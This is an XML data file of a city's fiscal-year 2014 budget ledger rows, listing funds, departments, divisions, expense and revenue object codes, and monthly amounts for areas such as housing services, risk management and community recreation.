<row _id="11498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577530.0</object><object_description>FARMERS' MKT EDUCATION PRGS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13600.0</total></row>
<row _id="11499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1104383.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>16160</december><january>-136.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1120407.0</total></row>
<row _id="11500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>154609.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>154609.0</total></row>
<row _id="11501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7230.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7230.0</total></row>
<row _id="11502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1249.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1249.0</total></row>
<row _id="11503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8429.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>102</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8531.0</total></row>
<row _id="11504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2626379.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2626379.0</total></row>
<row _id="11505"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1050.0</total></row>
<row _id="11506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8327.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8327.0</total></row>
<row _id="11507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402270.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-83532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-83532.0</total></row>
<row _id="11508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-23000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23000.0</total></row>
<row _id="11509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-34068</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34068.0</total></row>
<row _id="11510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1526948.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>1526948</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-4067.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>4067</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-27417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>27417</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8388.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>16280</december><january>-88.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24580.0</total></row>
<row _id="11514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1048.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>88.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1136.0</total></row>
<row _id="11515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22519.0</total></row>
<row _id="11516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1789.0</total></row>
<row _id="11517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4352.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4352.0</total></row>
<row _id="11519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16101.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16101.0</total></row>
<row _id="11520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-50448.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50448.0</total></row>
<row _id="11521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-22797.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22797.0</total></row>
<row _id="11522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14965.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14965.0</total></row>
<row _id="11523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10431.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10431.0</total></row>
<row _id="11524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8038.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8038.0</total></row>
<row _id="11525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2226.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2226.0</total></row>
<row _id="11526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1145.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1145.0</total></row>
<row _id="11527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-71900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-71900.0</total></row>
<row _id="11528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-15612.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15612.0</total></row>
<row _id="11529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4906.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4906.0</total></row>
<row _id="11530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544450.0</object><object_description>ADMIN-COMMUNICATION EFFORTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51447.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51447.0</total></row>
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<row _id="11533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-29056.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>29056</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="11547"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7175.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7175.0</total></row>
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<row _id="11554"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30257.0</total></row>
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<row _id="11556"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>695.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>695.0</total></row>
<row _id="11557"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="11558"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84716.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84716.0</total></row>
<row _id="11559"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
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<row _id="11561"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="11562"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="11563"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
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<row _id="11565"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8690.0</total></row>
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<row _id="11567"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>121949.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>121949.0</total></row>
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<row _id="11570"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2657.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2657.0</total></row>
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<row _id="11572"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
